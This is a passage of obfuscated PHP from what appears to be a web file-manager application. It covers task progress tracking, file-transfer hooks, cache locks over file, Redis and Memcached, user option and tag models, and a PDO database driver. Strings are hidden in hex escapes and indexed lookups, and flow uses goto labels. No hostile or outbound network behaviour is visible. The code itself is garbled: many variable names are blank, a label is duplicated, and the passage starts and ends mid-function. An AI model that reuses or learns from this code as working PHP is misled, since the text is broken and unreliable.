$Ԃר = Model($˨[478])->get($, $); if (is_null($Ԃר)) { Model($˨[478])->set($˨[789], $˨[90], $); Model($˨[478])->set($˨[1651], $˨[214], $); $Ԃר = Model($˨[478])->get($, $); } return $Ԃר; } private static function valueSet($Ӽ, $Ŵ = false) { $బ =& $_SERVER[ʇ]; $ = $బ[1699]; CacheLock::lock($); $ = Model($బ[478])->set($Ӽ, $Ŵ, $బ[1698]); CacheLock::unlock($); return $; } protected static function log($ݧ) { write_log($ݧ, $_SERVER[ʇ][1685]); } private static function cacheClear() { $񺔘 =& $_SERVER[ʇ]; Cache::clearMemory(Model($񺔘[478])->cacheKey($񺔘[1698])); Cache::clearMemory(Model($񺔘[478])->cacheKey($񺔘[1700])); Model($񺔘[1670])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\x74\x6f\x70"; const STATYS_RUNNING = "\x72\x75\156\x6e\x69\156\147"; const STATYS_KILL = "\153\x69\154\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ς, $֏ = '', $ = 0, $ = '') { $ =& $_SERVER[ʇ]; if (self::get($ς)) { return; } $this->task = array($[445] => $ς, $[1701] => USER_ID, $[1591] => $, $[496] => $[12], $[33] => $֏, $[1111] => $[12], $[825] => $, $[1702] => 0, $[1703] => 0, $[1704] => 0, $[1705] => timeFloat(), $[1706] => 0, $[1707] => 0, $[1708] => 0, $[1709] => 0, $[789] => $[1651]); $GLOBALS[$[1710]] = 1; Hook::bind($[1655], array($this, $[1711])); Hook::bind($[1712], array($this, $[1713])); $this->startAfter(); Hook::trigger($[1714], $this->task); $this->task[$[1707]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[ʇ]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1707]]) { self::valueSet($this->task[$[445]], !1); } $this->isEnd = !0; if ($) { $this->task[$[496]] = $; } self::log($[1715] . $this->task[$[445]] . $[1716] . sprintf($[897], timeFloat() - $this->task[$[1705]]) . $[1717]); Hook::unbind($[1655], array($this, $[1711])); Hook::unbind($[1712], array($this, $[1713])); $this->endAfter(); $梾 = $this->task; $this->task = !1; Hook::trigger($[1718], $梾); } public function update($׃ڜ = 0, $ = false) { $ގ =& $_SERVER[ʇ]; $ =& $this->task; if (!$) { return; } $[$ގ[1702]] += $׃ڜ; $[$ގ[1706]] = timeFloat(); if ($[$ގ[825]]) { if ($[$ގ[825]] < $[$ގ[1702]]) { $[$ގ[825]] = $[$ގ[1702]]; } $幄 = timeFloat() - $[$ގ[1705]] - $[$ގ[1708]]; if ($幄 <= 0) { $幄 = 0.001; } $[$ގ[1703]] = $[$ގ[1702]] / $[$ގ[825]]; $[$ގ[1704]] = $[$ގ[1702]] / $幄; if ($[$ގ[1703]] > 0) { $[$ގ[1709]] = $幄 * (1 - $[$ގ[1703]]) / $[$ގ[1703]]; } $[$ގ[1709]] = $[$ގ[1709]] <= 0 ? 0 : $[$ގ[1709]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$ގ[1707]] < $ && !$) { return; } $ = self::get($[$ގ[445]]); $ = $[$ގ[789]]; if ($ == self::STATYS_KILL) { $ = array($ގ[1719] => LNG($ގ[1720]), $ގ[1259] => !1); Cache::set($ގ[1721] . $this->task[$ގ[445]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $Ξ = 2; $[$ގ[1708]] += $Ξ; self::valueSet($[$ގ[445]], $); sleep($Ξ); $this->update(); return; } } $[$ގ[789]] = $ ? $ : $[$ގ[789]]; $[$ގ[1708]] = $[$ގ[1708]] ? $[$ގ[1708]] : 0; $[$ގ[1707]] = timeFloat(); Hook::trigger($ގ[1722], $); self::valueSet($[$ގ[445]], $); } public function onKillSet($뛒, $ȣ = array()) { $this->onKillCall = array($뛒, $ȣ); } public function onKill() { $ =& $_SERVER[ʇ]; self::log($[1715] . $this->task[$[445]] . $[1723]); Hook::trigger($[1724], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($ʴ) { $ =& $_SERVER[ʇ]; Cache::set($[1721] . $this->task[$[445]], $ʴ, 60); return $ʴ; } public static function get($) { $ڥ =& $_SERVER[ʇ]; $ = self::valueGet($); if (is_array($) && $[$ڥ[1725]]) { $θ = ActionApply($[$ڥ[1725]], array($)); $ = is_array($θ) ? $θ : $; } return $; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[ʇ][1705], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($ǃ) { return self::changeStatus($ǃ, self::STATYS_RUNNING); } public static function killAll() { $葀 =& $_SERVER[ʇ]; $ = self::listData(); foreach ($ as $ꪏ) { self::kill($ꪏ[$葀[445]]); } sleep(2); foreach ($ as $ꪏ) { self::valueSet($ꪏ[$葀[445]], !1); } } private static function changeStatus($ϥ, $) { $ =& $_SERVER[ʇ]; $ = self::valueGet($ϥ); if (!$) { return !1; } $[$[789]] = $; self::valueSet($ϥ, $); self::log($[1726] . $[$[445]] . $[1727] . $); return !0; } public static function valueGet($ۿ̉ = false) { $ńڭ =& $_SERVER[ʇ]; if ($ۿ̉) { $ = Model($ńڭ[490])->where(array($ńڭ[96] => $ۿ̉, $ńڭ[33] => $ńڭ[1118]))->find(); return $ ? json_decode($[$ńڭ[420]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($˝Ѕˌ = false) { $汛 =& $_SERVER[ʇ]; $ַ = array($汛[33] => $汛[1118]); if ($˝Ѕˌ) { $ַ[$汛[1701]] = $˝Ѕˌ; } $ = Model($汛[490])->where($ַ)->select(); $ = $ ? $ : array(); foreach ($ as $Ս => $) { $[$Ս] = json_decode($[$汛[420]], !0); } return $; } public static function valueSet($и, $뫕) { $ٚ =& $_SERVER[ʇ]; if (!$뫕) { return Model($ٚ[490])->where(array($ٚ[96] => $и, $ٚ[33] => $ٚ[1118]))->delete(); } $ơ = json_encode($뫕); if (!$ơ) { ob_start(); var_dump($뫕); $׃֮ = ob_get_clean(); self::log($ٚ[1728] . json_encode_force($׃֮)); } if (!$и || !$뫕[$ٚ[445]]) { return !1; } $վѷ = array($ٚ[33] => $ٚ[1118], $ٚ[1701] => USER_ID, $ٚ[96] => $и, $ٚ[420] => $ơ); $ = $ٚ[1729]; CacheLock::lock($); Model($ٚ[490])->add($վѷ, array(), !0); CacheLock::unlock($); } public static function log($Ĵ) { if (!GLOBAL_DEBUG) { return; } write_log($Ĵ, $_SERVER[ʇ][1730]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ڄ =& $_SERVER[ʇ]; $ȅ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($ڄ[1731], array($this, $ڄ[1732])); Hook::bind($ڄ[1270], array($this, $ڄ[1733])); Hook::bind($ڄ[1734], array($this, $ڄ[1735])); Hook::bind($ڄ[638], array($this, $ڄ[1736])); Hook::bind($ڄ[639], array($this, $ڄ[1737])); Hook::bind($ڄ[645], array($this, $ڄ[1738])); Hook::bind($ڄ[646], array($this, $ڄ[1739])); Hook::bind($ڄ[641], array($this, $ڄ[1740])); Hook::bind($ڄ[643], array($this, $ڄ[1741])); Hook::bind($ڄ[607], array($this, $ڄ[1742])); Hook::bind($ڄ[604], array($this, $ڄ[1742])); Hook::bind($ڄ[609], array($this, $ڄ[1742])); Hook::bind($ڄ[611], array($this, $ڄ[1742])); Hook::bind($ڄ[613], array($this, $ڄ[1742])); Hook::bind($ڄ[1743], array($this, $ڄ[1744])); Hook::bind($ڄ[629], array($this, $ڄ[1745])); $this->sourceModelCopyFlag = !1; Hook::bind($ڄ[1746], array($this, $ڄ[1747])); Hook::bind($ڄ[1748], array($this, $ڄ[1749])); Hook::bind($ڄ[1750], array($this, $ڄ[1751])); $ȅ[$ڄ[1752]] = LNG($ڄ[1753]); $ȅ[$ڄ[1754]] = 0; $ȅ[$ڄ[1755]] = 0; $ȅ[$ڄ[1111]] = $ڄ[12]; $ȅ[$ڄ[1756]] = $ڄ[12]; $ȅ[$ڄ[1757]] = 0; $ȅ[$ڄ[1758]] = 0; $ȅ[$ڄ[1759]] = 0; if (!$ȅ[$ڄ[1591]]) { $ȅ[$ڄ[1591]] = LNG($ڄ[1760]); } } protected function endAfter() { $ۃҊ =& $_SERVER[ʇ]; Hook::unbind($ۃҊ[1731], array($this, $ۃҊ[1732])); Hook::unbind($ۃҊ[1270], array($this, $ۃҊ[1733])); Hook::unbind($ۃҊ[1734], array($this, $ۃҊ[1735])); Hook::unbind($ۃҊ[638], array($this, $ۃҊ[1736])); Hook::unbind($ۃҊ[639], array($this, $ۃҊ[1737])); Hook::unbind($ۃҊ[645], array($this, $ۃҊ[1738])); Hook::unbind($ۃҊ[646], array($this, $ۃҊ[1739])); Hook::unbind($ۃҊ[641], array($this, $ۃҊ[1740])); Hook::unbind($ۃҊ[643], array($this, $ۃҊ[1741])); Hook::unbind($ۃҊ[607], array($this, $ۃҊ[1742])); Hook::unbind($ۃҊ[604], array($this, $ۃҊ[1742])); Hook::unbind($ۃҊ[609], array($this, $ۃҊ[1742])); Hook::unbind($ۃҊ[611], array($this, $ۃҊ[1742])); Hook::unbind($ۃҊ[613], array($this, $ۃҊ[1742])); Hook::unbind($ۃҊ[1743], array($this, $ۃҊ[1744])); Hook::unbind($ۃҊ[629], array($this, $ۃҊ[1745])); Hook::unbind($ۃҊ[1746], array($this, $ۃҊ[1747])); Hook::unbind($ۃҊ[1748], array($this, $ۃҊ[1749])); Hook::unbind($ۃҊ[1750], array($this, $ۃҊ[1751])); } public function copyMoveStart($΃ƴ, $Ͳ, $ȟ, $) { $© =& $_SERVER[ʇ]; self::log($©[1761] . $Ͳ . $©[72] . $); $ = rtrim(TEMP_FILES, $©[8]); if (substr($Ͳ, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$©[1762]] = KodIO::transferType($΃ƴ, $ȟ); $this->update(); } public function updateAfter() { $˦ =& $_SERVER[ʇ]; $ٴ =& $this->task; if (!$ٴ[$˦[802]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ٴ[$˦[1762]] == $˦[1362]) { return; } self::updateTask($ٴ); } private static function updateTask(&$ρ) { $ =& $_SERVER[ʇ]; if ($ρ[$[1762]] == $[1241] || $ρ[$[1762]] == $[109]) { if ($ρ[$[1756]]) { $ρ[$[1759]] = $ρ[$[1758]] + $ρ[$[1755]]; } } else { if ($ρ[$[1762]] == $[1363]) { if ($ρ[$[1756]] == $[1241]) { $ρ[$[1759]] = $ρ[$[1758]] + $ρ[$[1755]] * 0.5; } else { if ($ρ[$[1756]] == $[109]) { $ρ[$[1759]] = $ρ[$[1758]] + $ρ[$[1754]] * 0.5 + $ρ[$[1755]] * 0.5; } } } } $ρ[$[1703]] = $ρ[$[1759]] / $ρ[$[802]]; if ($ρ[$[1703]] > 0) { $ݧ = timeFloat() - $ρ[$[1705]] - $ρ[$[1708]]; $ρ[$[1709]] = $ݧ * (1 - $ρ[$[1703]]) / $ρ[$[1703]]; } } public function addPath($) { $֙ =& $_SERVER[ʇ]; if (!$) { return; } $䙇 =& $this->task; $ِܷ = IO::infoWithChildren($); $ = $䙇[$֙[1763]] ? $䙇[$֙[1763]][$֙[1764]] : 0; $䙇[$֙[1763]] = array($֙[1764] => $ + 1, $֙[464] => $ِܷ[$֙[32]], $֙[86] => $ِܷ[$֙[86]], $֙[553] => $ِܷ[$֙[553]] ? $ِܷ[$֙[553]] : $ِܷ[$֙[86]]); if ($ِܷ[$֙[33]] == $֙[216]) { $䙇[$֙[825]] += 1; } else { $䙇[$֙[825]] += $ِܷ[$֙[81]][$֙[79]]; if ($ِܷ[$֙[183]]) { $䙇[$֙[825]] += $ِܷ[$֙[81]][$֙[80]] + 1; } } $䙇[$֙[802]] += $ِܷ[$֙[78]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($˧) { } public function sourceAddFileStart($ޖ) { $ĵ̻ =& $_SERVER[ʇ]; $Ń =& $this->task; $Ń[$ĵ̻[1754]] = $ޖ[$ĵ̻[78]]; $Ń[$ĵ̻[1752]] = $ޖ[$ĵ̻[32]]; $Ń[$ĵ̻[1111]] = $ޖ[$ĵ̻[32]]; $Ń[$ĵ̻[1765]] = $ޖ[$ĵ̻[86]]; $this->update(); } public function sourceAddFileEnd($Ͻ) { $ =& $_SERVER[ʇ]; $۱ =& $this->task; $۱[$[1759]] += $Ͻ[$[78]]; $۱[$[1765]] = $Ͻ[$[86]]; $this->update(1); } public function copyFileStart($Ǎ, $ﶈ, $Ʃ, $ľ, $І, $Ͳ) { $ =& $_SERVER[ʇ]; $ = $І; if ($ == $GLOBALS[$[1766]]) { $ = $GLOBALS[$[1767]]; } $GLOBALS[$[1767]] = $І; $GLOBALS[$[1766]] = $Ͳ; $ =& $this->task; $[$[1752]] = $; $[$[1754]] = (int) $Ǎ->size($ﶈ); $[$[1755]] = 0; $[$[1111]] = $[12]; $[$[1756]] = $[12]; $[$[1757]] = 0; $˶ = $[$[1754]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[445]] . $[1768]); if ($˶ && file_exists(get_path_father($ľ))) { Cache::set($[$[445]] . $[1768], $ľ); $[$[1725]] = array($[1769], $[1770]); } $this->update(0, $˶); } public static function updateCopyLocalFileSize($؅) { $ =& $_SERVER[ʇ]; $Ӽ = Cache::get($؅[$[445]] . $[1768]); if (!$Ӽ || !file_exists($Ӽ)) { return $؅; } $؅[$[1755]] = @filesize($Ӽ); $؅[$[1759]] += $؅[$[1755]]; self::updateTask($؅); return $؅; } public function copyFileEnd($鈐, $џ, $֘, $񢖯, $, $Ԣ) { $Š =& $_SERVER[ʇ]; $ =& $this->task; $[$Š[1755]] = $[$Š[1754]]; $[$Š[1756]] = $Š[12]; unset($[$Š[1725]]); if ($ == $[$Š[1752]]) { $[$Š[1758]] += $[$Š[1754]]; $[$Š[1759]] = $[$Š[1758]]; $ޗդ = 1; if (isset($[$Š[1765]]) && $[$Š[1765]] == $џ) { $ޗդ = 0; } $this->update($ޗդ); } else { $this->update(); $[$Š[1755]] = 0; } Cache::remove($[$Š[445]] . $Š[1768]); self::log($Š[1771] . $џ . $Š[72] . $񢖯 . $Š[248] . $ . $Š[1772] . $[$Š[1752]]); } public function updateFileEnd($, $ˁ) { $渑 =& $_SERVER[ʇ]; $ =& $this->task; $[$渑[1752]] = $; $[$渑[1754]] = $ˁ; $[$渑[1758]] += $ˁ; $[$渑[1759]] = $[$渑[1758]]; $this->update(1); self::log($渑[1773] . $); } public function sourceModelCopy($) { $쎼 =& $_SERVER[ʇ]; $򐾀 = $[0]; $ʹ = $[1]; $͂ =& $this->task; $this->sourceModelCopyFlag = !0; $딄 = 0; switch ($򐾀) { case $쎼[605]: $딄 = 1; break; case $쎼[608]: $͂[$쎼[1752]] = $ʹ[$쎼[32]]; break; case $쎼[610]: $딄 = intval($[$쎼[426]] * 0.4); break; case $쎼[612]: $딄 = intval($[$쎼[426]] * 0.2); break; case $쎼[614]: $딄 = intval($[$쎼[426]] * 0.4); break; } $this->update($딄); $this->sourceModelCopyFlag = !1; } public function sourceRemove($È, $ﴎ) { $ =& $_SERVER[ʇ]; $this->sourceModelCopyFlag = !0; $κ = 1; if (isset($È[$[81]])) { $κ = $È[$[81]][$[79]]; $κ = $κ + $È[$[81]][$[80]] + 1; } $this->update($κ); $this->sourceModelCopyFlag = !1; } public function sourceMove($Ϛ) { $this->sourceRemove($Ϛ, !1); } public function curlProgress($њ, $ř, $Ց, $, $Ę) { $ĺ =& $_SERVER[ʇ]; $ =& $this->task; if ($Ę > 0) { $[$ĺ[1111]] = $ĺ[1774]; $[$ĺ[1756]] = $ĺ[109]; if ($[$ĺ[1754]]) { $[$ĺ[1755]] = $Ę; } if ($[$ĺ[1757]]) { $[$ĺ[1755]] = $Ę + $[$ĺ[1757]]; } } else { if ($Ց > 0) { if ($[$ĺ[1754]] == $ř) { $[$ĺ[1755]] = $Ց; $[$ĺ[1111]] = $ĺ[1775]; $[$ĺ[1756]] = $ĺ[1241]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ʒ؛ =& $_SERVER[ʇ]; $੟ =& $this->task; $؀ = curl_getinfo($); $Ϊ = $؀[$ʒ؛[1776]]; if ($Ϊ == -1) { $Ϊ = $؀[$ʒ؛[1777]]; } if ($੟[$ʒ؛[1756]] == $ʒ؛[109] && $Ϊ) { $੟[$ʒ؛[1757]] += $Ϊ; } $this->update(); } } goto f; c̐: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $،쪸 =& $_SERVER[ʇ]; $ǟ = $GLOBALS[$،쪸[6]][$،쪸[395]]; self::$cachePath = $ǟ[$،쪸[216]][$،쪸[86]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ = 0) { $˄ =& $_SERVER[ʇ]; $„ = microtime(!0); $ϓ = $„ + $ + 0.0001; $挄 = rtrim(self::$cachePath, $˄[8]) . $˄[910] . md5($) . $˄[907]; if (file_exists($挄) && filemtime($挄) && filemtime($挄) < time() - 10) { @unlink($挄); } do { if (file_exists($挄)) { cacheLockWait(); continue; } $ƣ = fopen($挄, $˄[911]); if (!$ƣ) { return !1; } $щ = flock($ƣ, LOCK_EX | LOCK_NB); self::$caches[$] = array($˄[912] => $ƣ, $˄[216] => $挄); fwrite($ƣ, $ϓ); clearstatcache(); if ($ƣ && $щ) { return !0; } cacheLockWait(); } while (microtime(!0) < $ϓ); $this->unlock($); return !1; } public function lockGet($) { $ =& $_SERVER[ʇ]; $ = rtrim(self::$cachePath, $[8]) . $[910] . md5($) . $[907]; return file_exists($); } public function unlock($ލ) { $ =& $_SERVER[ʇ]; $ = self::$caches[$ލ]; if (!$) { return; } @flock($[$[912]], LOCK_UN); @fclose($[$[912]]); @unlink($[$[216]]); unset(self::$caches[$ލ]); } } class CacheLockRedis { public function lock($팦, $˳ = 10) { $ = Cache::init(); $Ѡ = microtime(!0) + $˳; while (microtime(!0) < $Ѡ) { $ = $->get($팦); if (!$) { $〨 = $->setLock($팦, $Ѡ, $˳); if ($〨) { return !0; } } else { if ($ < microtime(!0)) { $->set($팦, $Ѡ, $˳ * 2); if ($->get($팦) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ȶ) { return Cache::init()->get($ȶ); } public function unlock($ئ) { return Cache::init()->remove($ئ); } } class CacheLockMemcached { public function lock($ҧ, $ќꛓ = 0) { $ = Cache::init(); $ņ = microtime(!0) + $ќꛓ; while (microtime(!0) < $ņ) { $ԉ = $->get($ҧ); if (!$ԉ || $ԉ < microtime(!0)) { $ص诟 = $->handle->add($ҧ, $ņ, $ќꛓ); if ($ص诟) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($܃) { return Cache::init()->remove($܃); } } goto e; f: class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\163\145\162\137\157\160\x74\151\x6f\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($٭) { $ =& $_SERVER[ʇ]; $ = defined($[2121]) && USER_ID ? USER_ID : $[12]; return "\125\x73\x65\162\x4f\160\x74\151\157\x6e\x5f{$٭}\137" . $; } protected function filterWhere($) { $٢ =& $_SERVER[ʇ]; $[$٢[1701]] = defined($٢[2121]) && USER_ID ? USER_ID : $٢[12]; return $; } public function cacheRemoveUser($퇱, $և) { return Cache::remove("\125\x73\145\x72\117\x70\x74\151\157\x6e\137{$퇱}\x5f" . $և); } protected function optionDefault($ = '') { $צ =& $_SERVER[ʇ]; if ($ == $צ[12]) { return $GLOBALS[$צ[6]][$צ[2398]]; } if ($ == $צ[2399]) { return $GLOBALS[$צ[6]][$צ[2400]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\x65\162\x2e\x74\x61\x67\114\151\163\x74"; public $modelType = "\125\x73\x65\x72\x4f\160\x74\x69\157\156"; public $field = array("\156\x61\155\x65", "\163\x74\x79\x6c\x65", "\x73\157\x72\164"); public function listData($ = false, $ = "\163\157\162\164", $Ϲ = false) { return parent::listData($, $, $Ϲ); } public function remove($) { return parent::remove($); } public function add($, $ޞ = "\x6c\x61\142\145\x6c\55\x67\x72\x65\171\x2d\156\157\x72\155\141\154") { $ʩŜ =& $_SERVER[ʇ]; if ($this->findByName($)) { return !1; } $Ԥ = array($ʩŜ[464] => $, $ʩŜ[529] => $ޞ, $ʩŜ[1903] => $this->getSort($ʩŜ[304]) + 1); return parent::insert($Ԥ); } public function update($ވ䊔, $) { $ =& $_SERVER[ʇ]; $ = $this->listData($ވ䊔); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } return parent::update($ވ䊔, $); } public function moveTop($ٜ) { $җ =& $_SERVER[ʇ]; $ӣ = parent::listData(); $ = $this->getSort($җ[303]); foreach ($ӣ as &$و) { if ($و[$җ[445]] == $ٜ) { $و[$җ[1923]] = $; continue; } $و[$җ[1923]] += 1; } unset($و); return parent::resetData($ӣ); } public function moveBottom($Ǯ񡚃) { $݆ =& $_SERVER[ʇ]; $ߍ = $this->getSort($݆[304]) + 1; return parent::update($Ǯ񡚃, array($݆[1923] => $ߍ)); } public function resetSort($ʁڦ) { $ʡ =& $_SERVER[ʇ]; $ɬ = array(); $ʁڦ = is_array($ʁڦ) ? $ʁڦ : array(); for ($ = 0; $ < count($ʁڦ); $++) { $ɬ[$ʁڦ[$] . $ʡ[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$ܼ) { $ = $ɬ[$ܼ[$ʡ[445]]]; $ܼ[$ʡ[1923]] = $ ? $ : $ܼ[$ʡ[1923]]; } unset($ܼ); return parent::resetData($); } private function getSort($) { $ =& $_SERVER[ʇ]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1923]); if (!$) { $ = array(0); } $ = $ == $[304] ? max($) : min($); return intval($); } } goto a޾; f: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ƞ = '') { $Ʀ =& $_SERVER[ʇ]; if (!class_exists($Ʀ[961])) { think_exception(think_lang($Ʀ[14]) . $Ʀ[962]); } if (!empty($ƞ)) { $this->config = $ƞ; if (empty($this->config[$Ʀ[17]])) { $this->config[$Ʀ[17]] = array(); } } } public function connect($ɦ = '', $׸ = 0) { $Ι =& $_SERVER[ʇ]; if (!isset($this->linkID[$׸])) { if (empty($ɦ)) { $ɦ = $this->config; } $ÑՒ = !empty($ɦ[$Ι[17]][$Ι[18]]) ? $ɦ[$Ι[17]][$Ι[18]] : $this->pconnect; if ($ÑՒ) { $ɦ[$Ι[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$׸] = new PDO($ɦ[$Ι[963]], $ɦ[$Ι[935]], $ɦ[$Ι[936]], $ɦ[$Ι[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($ɦ[$Ι[963]]); if (in_array($this->dbType, array($Ι[964], $Ι[965], $Ι[966], $Ι[967]))) { think_exception($Ι[968] . $this->dbType . $Ι[969] . $this->dbType . $Ι[970]); } if (!$this->linkID[$׸]) { think_exception($Ι[971]); } try { $this->linkID[$׸]->exec($Ι[972] . think_config($Ι[938])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($Ι[22])) { unset($this->config); } } return $this->linkID[$׸]; } public function free() { $this->PDOStatement = null; } public function query($, $؟ = array()) { $ =& $_SERVER[ʇ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($؟)) { $this->queryStr .= $[973] . print_r($؟, !0) . $[974]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $Ÿ = $this->PDOStatement->execute($؟); $this->debug(); if (!1 === $Ÿ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $أ =& $_SERVER[ʇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $أ[973] . print_r($, !0) . $أ[974]; } $ū = !1; if ($this->dbType == $أ[967]) { if (preg_match($أ[975], $this->queryStr, $ĥ)) { $this->table = think_config($أ[976]) . str_ireplace(think_config($أ[977]), $أ[424], $ĥ[2]); $ū = (bool) $this->query($أ[978] . strtoupper($this->table) . $أ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($أ[25], 1); think_status($أ[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $Ēܬ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $Ēܬ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ū || preg_match($أ[979], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ީ펋 = $this->_linkID->commit(); $this->transTimes = 0; if (!$ީ펋) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $޽ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($޽); return $޽; } public function getFields($) { $ =& $_SERVER[ʇ]; $this->initConnect(!0); if (think_config($[980])) { $Ə = str_replace($[981], $, think_config($[980])); } else { switch ($this->dbType) { case $[964]: case $[982]: $Ə = "\x53\x45\114\105\103\124\40\40\40\x63\157\x6c\165\x6d\x6e\x5f\156\141\x6d\x65\x20\141\x73\x20\x27\x4e\x61\155\145\x27\x2c\x20\40\40\144\141\164\x61\137\x74\x79\x70\145\x20\x61\x73\40\47\124\x79\x70\145\47\x2c\x20\40\40\143\x6f\x6c\x75\x6d\x6e\137\144\145\146\x61\165\x6c\164\x20\x61\163\x20\47\104\145\146\x61\x75\x6c\x74\x27\54\40\x20\40\x69\163\137\156\x75\154\154\x61\x62\x6c\145\40\x61\x73\40\47\x4e\165\x6c\x6c\x27\12\x9\11\x46\122\117\115\11\x69\156\146\x6f\x72\x6d\141\164\151\157\x6e\137\163\143\150\x65\155\141\56\x74\141\x62\154\145\x73\40\101\x53\40\164\12\x9\11\x4a\117\x49\x4e\11\151\x6e\146\157\162\x6d\141\x74\x69\157\156\x5f\163\143\x68\x65\155\141\56\x63\157\x6c\x75\x6d\156\163\40\x41\x53\x20\x63\xa\x9\x9\x4f\x4e\x20\40\x74\56\x74\x61\142\x6c\x65\137\143\141\164\x61\154\157\x67\x20\x3d\x20\x63\x2e\x74\x61\x62\154\x65\137\x63\x61\x74\x61\x6c\x6f\147\xa\x9\x9\x41\x4e\104\x20\164\56\164\x61\142\154\x65\137\x73\x63\150\145\155\x61\40\x3d\x20\143\x2e\x74\x61\x62\154\145\137\x73\143\150\x65\155\141\xa\11\11\x41\x4e\x44\40\164\56\x74\x61\x62\x6c\x65\137\x6e\x61\x6d\145\40\75\40\143\x2e\x74\141\142\x6c\x65\x5f\x6e\141\155\x65\12\11\11\127\x48\105\122\x45\40\x20\x20\x74\56\x74\141\142\x6c\145\x5f\156\141\155\145\40\75\40\x27{$}\47"; break; case $[983]: $Ə = $[984] . $ . $[985]; break; case $[965]: case $[967]: $Ə = $[986] . $[987] . $[988] . strtoupper($) . $[989] . strtoupper($) . $[990]; break; case $[991]: $Ə = $[992] . $ . $[993]; break; case $[966]: break; case $[994]: default: $Ə = $[995] . ($this->dbType == $[994] ? "\140{$}\140" : $); } } $ܖ = $this->query($Ə); $ = array(); if ($ܖ) { foreach ($ܖ as $ݼ => $ڙ) { $ڙ = array_change_key_case($ڙ); $ڙ[$[32]] = isset($ڙ[$[32]]) ? $ڙ[$[32]] : $[424]; $ڙ[$[33]] = isset($ڙ[$[33]]) ? $ڙ[$[33]] : $[424]; $ۋ = isset($ڙ[$[319]]) ? $ڙ[$[319]] : $ڙ[$[32]]; $[$ۋ] = array($[32] => $ۋ, $[33] => $ڙ[$[33]], $[35] => (bool) (isset($ڙ[$[105]]) && $ڙ[$[105]] === $[12] || isset($ڙ[$[35]]) && $ڙ[$[35]] === $[12]), $[37] => isset($ڙ[$[37]]) ? $ڙ[$[37]] : (isset($ڙ[$[56]]) ? $ڙ[$[56]] : $[424]), $[39] => isset($ڙ[$[96]]) ? strtolower($ڙ[$[96]]) == $[41] : (isset($ڙ[$[57]]) ? $ڙ[$[57]] : !1), $[42] => isset($ڙ[$[996]]) ? strtolower($ڙ[$[996]]) == $[44] : (isset($ڙ[$[96]]) ? $ڙ[$[96]] : !1)); } } return $; } public function getTables($ = '') { $ٛ =& $_SERVER[ʇ]; if (think_config($ٛ[997])) { $ݧ = str_replace($ٛ[998], $, think_config($ٛ[997])); } else { switch ($this->dbType) { case $ٛ[965]: case $ٛ[967]: $ݧ = $ٛ[999]; break; case $ٛ[964]: case $ٛ[982]: $ݧ = $ٛ[1000]; break; case $ٛ[991]: $ݧ = $ٛ[1001]; break; case $ٛ[966]: think_exception(think_lang($ٛ[1002]) . $ٛ[1003]); break; case $ٛ[983]: $ݧ = $ٛ[45] . $ٛ[46] . $ٛ[47]; break; case $ٛ[994]: default: if (!empty($)) { $ݧ = 